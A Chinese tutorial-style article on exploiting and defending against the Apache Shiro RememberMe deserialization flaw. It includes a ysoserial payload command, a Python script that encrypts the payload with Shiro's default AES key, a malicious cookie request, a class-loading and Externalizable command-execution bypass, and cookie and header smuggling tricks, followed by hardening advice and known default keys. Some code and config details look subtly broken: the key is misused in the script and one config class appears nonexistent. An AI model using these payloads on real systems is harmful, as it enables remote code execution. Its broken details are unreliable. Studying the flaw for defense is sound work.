shiro反序列化漏洞利用bypass技巧
字数 2409 2025-09-01 11:26:10

Apache Shiro 反序列化漏洞利用与防御技术详解

一、Shiro框架概述

1.1 核心功能模块

Apache Shiro 是一个强大的 Java 安全框架,提供以下核心功能:

  1. 认证(Authentication)

    • 用户身份识别:支持用户名/密码、token、第三方登录等方式
    • Subject API:提供Subject.login()方法进行登录操作
    • Realm接口:连接外部数据源(如数据库、LDAP)进行身份验证
  2. 授权(Authorization)

    • 基于角色或权限字符串的访问控制
    • 支持声明式和编程式权限检查
    • 示例方法:subject.hasRole("admin")subject.isPermitted("user:delete")
  3. 加密(Cryptography)

    • 提供常见加密算法封装:AES、MD5、SHA等
    • 支持Base64编码解码
    • 用于保护敏感数据,如RememberMe功能中使用AES加密cookie数据
  4. 会话管理(Session Management)

    • 跨平台支持:适用于Web和非Web环境
    • 提供Session接口管理用户状态
    • 支持集群环境下的分布式会话

1.2 架构组成

  • SecurityManager:安全管理器,协调所有安全操作
  • Subject:代表当前执行用户的抽象接口
  • Realm:连接真实数据源,用于认证和授权的数据获取
  • SessionManager:管理会话生命周期
  • CacheManager:缓存权限信息提高性能

二、Shiro反序列化漏洞原理

2.1 RememberMe功能实现流程

  1. 登录流程

    • 用户启用"记住我"功能并成功登录
    • Shiro将用户主体信息(Principal)进行序列化
    • 使用AES加密序列化后的字节流(默认密钥:kPH+bIxk5D2deZiIxcaaaA==)
    • 进行Base64编码生成Cookie值返回给客户端
  2. 自动登录流程

    • 浏览器携带rememberMe Cookie发送请求
    • Shiro提取值并进行Base64解码
    • 使用相同AES密钥解密
    • 对解密后的字节流进行反序列化,恢复Subject对象
    • 自动完成用户身份识别

2.2 关键类解析

  • Subject:包含用户身份信息和权限信息
  • Session:管理用户临时状态信息
  • CookieRememberMeManager:实现RememberMe功能
  • DefaultSerializer:使用Java原生ObjectInputStream/ObjectOutputStream进行序列化/反序列化

2.3 漏洞成因

  1. 硬编码密钥:Shiro <= 1.2.4版本使用硬编码AES密钥
  2. 未过滤反序列化对象:反序列化过程未对对象类型做限制
  3. 触发条件
    • Apache Shiro <= 1.2.4
    • 使用Java原生反序列化 + Apache Commons Collections

三、漏洞利用技术

3.1 基本利用流程

  1. 使用ysoserial工具生成Commons-Collections利用链payload:

    java -jar ysoserial.jar CommonsCollections1 "touch /tmp/shiro_rce" > payload.ser
    
  2. 加密并Base64编码payload:

    import base64
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    
    key = b"kPH+bIxk5D2deZiIxcaaaA=="
    payload = open('payload.ser', 'rb').read()
    cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00' * 16)
    encrypted = cipher.encrypt(pad(payload, AES.block_size))
    encoded = base64.b64encode(encrypted).decode()
    print("Encoded RememberMe Cookie:", encoded)
    
  3. 构造HTTP请求发送恶意Cookie:

    GET / HTTP/1.1
    Host: target.com
    Cookie: rememberMe=ENCODED_COOKIE_HERE
    

3.2 常见利用链分析

库名 版本范围 利用链名称 是否需要调用构造函数
commons-collections < 3.2.2 TransformerMap
commons-collections >= 3.2.2 LazyMap
Jackson < 2.9.10 enableDefaultTyping
Joda-Time <= 2.10.1 DateTimeZone

3.3 Bypass技术

3.3.1 绕过黑名单过滤机制

  1. 使用合法类构建利用链

    • java.util.PriorityQueue + com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    • 不涉及CommonsCollections,可绕过部分检测规则
  2. 内存加载类绕过黑名单

    public static Class<?> loadClass(byte[] classBytes) throws Exception {
        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        return (Class<?>) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), classBytes, 0, classBytes.length);
    }
    
  3. 修改序列化协议

    • 使用Externalizable接口替代Serializable
    • 示例类定义:
      public class EvilClass implements Externalizable {
          @Override public void writeExternal(ObjectOutput out) throws IOException {}
          @Override public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
              Runtime.getRuntime().exec("calc.exe");
          }
      }
      

3.3.2 利用特殊格式数据包

  1. 构造畸形Cookie头

    Cookie: rememberMe= abcdefg; Path=/; HttpOnly ; Secure
    或
    Cookie: rememberMe="abc def ghi jkl"; Path="/"
    
  2. 使用Base64 URL Safe编码

    import base64
    def url_safe_b64encode(data):
        return base64.b64encode(data).replace(b"+", b"-").replace(b"/", b"_").rstrip(b"=")
    
  3. 多段Cookie拆分传输

    Cookie: part1=PAYLOAD_CHUNK_1
    Cookie: part2=PAYLOAD_CHUNK_2
    
  4. 使用自定义Header字段传输

    GET / HTTP/1.1
    Host: target.com
    X-Token: BASE64_ENCODED_PAYLOAD
    

四、防御与检测方案

4.1 安全加固方案

  1. 升级Shiro版本

    • 推荐版本:1.4.x及以上
    • Maven升级示例:
      <dependency>
          <groupId>org.apache.shiro</groupId>
          <artifactId>shiro-core</artifactId>
          <version>1.10.0</version>
      </dependency>
      
  2. 配置自定义AES密钥

    [main]
    cookieManager = org.apache.shiro.web.mgt.CookieRememberMeManager
    cookieManager.cipherKey = ${base64EncodedCustomKey}
    securityManager.rememberMeManager = $cookieManager
    

    生成密钥命令:

    openssl rand -base64 16
    
  3. 禁用RememberMe功能

    [main]
    securityManager.rememberMeManager = $null
    
  4. 设置Cookie安全属性

    [main]
    rememberMeCookie = org.apache.shiro.web.servlet.SimpleCookie
    rememberMeCookie.name = rememberMe
    rememberMeCookie.httpOnly = true
    rememberMeCookie.secure = true
    rememberMeCookie.maxAge = 86400
    securityManager.rememberMeManager.cookie = $rememberMeCookie
    
  5. 使用HMAC签名验证

    [main]
    cipherService = org.apache.shiro.crypto.AesCipherService
    cipherService.keySize = 128
    hmacService = org.apache.shiro.crypto.HmacSHA256CipherService
    rememberMeManager = org.apache.shiro.mgt.CookieRememberMeManager
    rememberMeManager.cipherService = $cipherService
    rememberMeManager.hmacService = $hmacService
    rememberMeManager.cipherKey = base64EncodedKeyHere
    securityManager.rememberMeManager = $rememberMeManager
    

4.2 检测方法

  1. 密钥检测

    • 使用已知密钥列表尝试解密rememberMe Cookie
    • 常见默认密钥:
      kPH+bIxk5D2deZiIxcaaaA==
      4AvVhmFLUs0KTA3Kprsdag==
      Z3VucwAAAAAAAAAAAAAAAA==
      
  2. 流量特征检测

    • 检测HTTP请求中rememberMe Cookie的长度和编码特征
    • 监控异常反序列化操作
  3. 日志分析

    • 检查Shiro日志中的异常反序列化错误
    • 监控系统命令执行日志

五、总结

Apache Shiro反序列化漏洞是一个严重的安全问题,攻击者可以利用此漏洞实现远程代码执行。通过理解漏洞原理、利用技术和防御措施,可以有效保护系统安全。关键防护措施包括:

  1. 及时升级Shiro到最新安全版本
  2. 替换默认加密密钥
  3. 合理配置RememberMe功能
  4. 实施反序列化白名单机制
  5. 加强系统监控和日志分析

遵循这些最佳实践,可以显著降低Shiro反序列化漏洞带来的安全风险。

Apache Shiro 反序列化漏洞利用与防御技术详解 一、Shiro框架概述 1.1 核心功能模块 Apache Shiro 是一个强大的 Java 安全框架,提供以下核心功能: 认证(Authentication) 用户身份识别:支持用户名/密码、token、第三方登录等方式 Subject API:提供 Subject.login() 方法进行登录操作 Realm接口:连接外部数据源(如数据库、LDAP)进行身份验证 授权(Authorization) 基于角色或权限字符串的访问控制 支持声明式和编程式权限检查 示例方法: subject.hasRole("admin") 、 subject.isPermitted("user:delete") 加密(Cryptography) 提供常见加密算法封装:AES、MD5、SHA等 支持Base64编码解码 用于保护敏感数据,如RememberMe功能中使用AES加密cookie数据 会话管理(Session Management) 跨平台支持:适用于Web和非Web环境 提供Session接口管理用户状态 支持集群环境下的分布式会话 1.2 架构组成 SecurityManager :安全管理器,协调所有安全操作 Subject :代表当前执行用户的抽象接口 Realm :连接真实数据源,用于认证和授权的数据获取 SessionManager :管理会话生命周期 CacheManager :缓存权限信息提高性能 二、Shiro反序列化漏洞原理 2.1 RememberMe功能实现流程 登录流程 : 用户启用"记住我"功能并成功登录 Shiro将用户主体信息(Principal)进行序列化 使用AES加密序列化后的字节流(默认密钥: kPH+bIxk5D2deZiIxcaaaA== ) 进行Base64编码生成Cookie值返回给客户端 自动登录流程 : 浏览器携带rememberMe Cookie发送请求 Shiro提取值并进行Base64解码 使用相同AES密钥解密 对解密后的字节流进行反序列化,恢复Subject对象 自动完成用户身份识别 2.2 关键类解析 Subject :包含用户身份信息和权限信息 Session :管理用户临时状态信息 CookieRememberMeManager :实现RememberMe功能 DefaultSerializer :使用Java原生ObjectInputStream/ObjectOutputStream进行序列化/反序列化 2.3 漏洞成因 硬编码密钥 :Shiro <= 1.2.4版本使用硬编码AES密钥 未过滤反序列化对象 :反序列化过程未对对象类型做限制 触发条件 : Apache Shiro <= 1.2.4 使用Java原生反序列化 + Apache Commons Collections 三、漏洞利用技术 3.1 基本利用流程 使用ysoserial工具生成Commons-Collections利用链payload: 加密并Base64编码payload: 构造HTTP请求发送恶意Cookie: 3.2 常见利用链分析 | 库名 | 版本范围 | 利用链名称 | 是否需要调用构造函数 | |------|---------|-----------|-------------------| | commons-collections | < 3.2.2 | TransformerMap | 否 | | commons-collections | >= 3.2.2 | LazyMap | 是 | | Jackson | < 2.9.10 | enableDefaultTyping | 是 | | Joda-Time | <= 2.10.1 | DateTimeZone | 是 | 3.3 Bypass技术 3.3.1 绕过黑名单过滤机制 使用合法类构建利用链 : 如 java.util.PriorityQueue + com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 不涉及CommonsCollections,可绕过部分检测规则 内存加载类绕过黑名单 : 修改序列化协议 : 使用 Externalizable 接口替代 Serializable 示例类定义: 3.3.2 利用特殊格式数据包 构造畸形Cookie头 : 使用Base64 URL Safe编码 : 多段Cookie拆分传输 : 使用自定义Header字段传输 : 四、防御与检测方案 4.1 安全加固方案 升级Shiro版本 : 推荐版本:1.4.x及以上 Maven升级示例: 配置自定义AES密钥 : 生成密钥命令: 禁用RememberMe功能 : 设置Cookie安全属性 : 使用HMAC签名验证 : 4.2 检测方法 密钥检测 : 使用已知密钥列表尝试解密rememberMe Cookie 常见默认密钥: 流量特征检测 : 检测HTTP请求中rememberMe Cookie的长度和编码特征 监控异常反序列化操作 日志分析 : 检查Shiro日志中的异常反序列化错误 监控系统命令执行日志 五、总结 Apache Shiro反序列化漏洞是一个严重的安全问题,攻击者可以利用此漏洞实现远程代码执行。通过理解漏洞原理、利用技术和防御措施,可以有效保护系统安全。关键防护措施包括: 及时升级Shiro到最新安全版本 替换默认加密密钥 合理配置RememberMe功能 实施反序列化白名单机制 加强系统监控和日志分析 遵循这些最佳实践,可以显著降低Shiro反序列化漏洞带来的安全风险。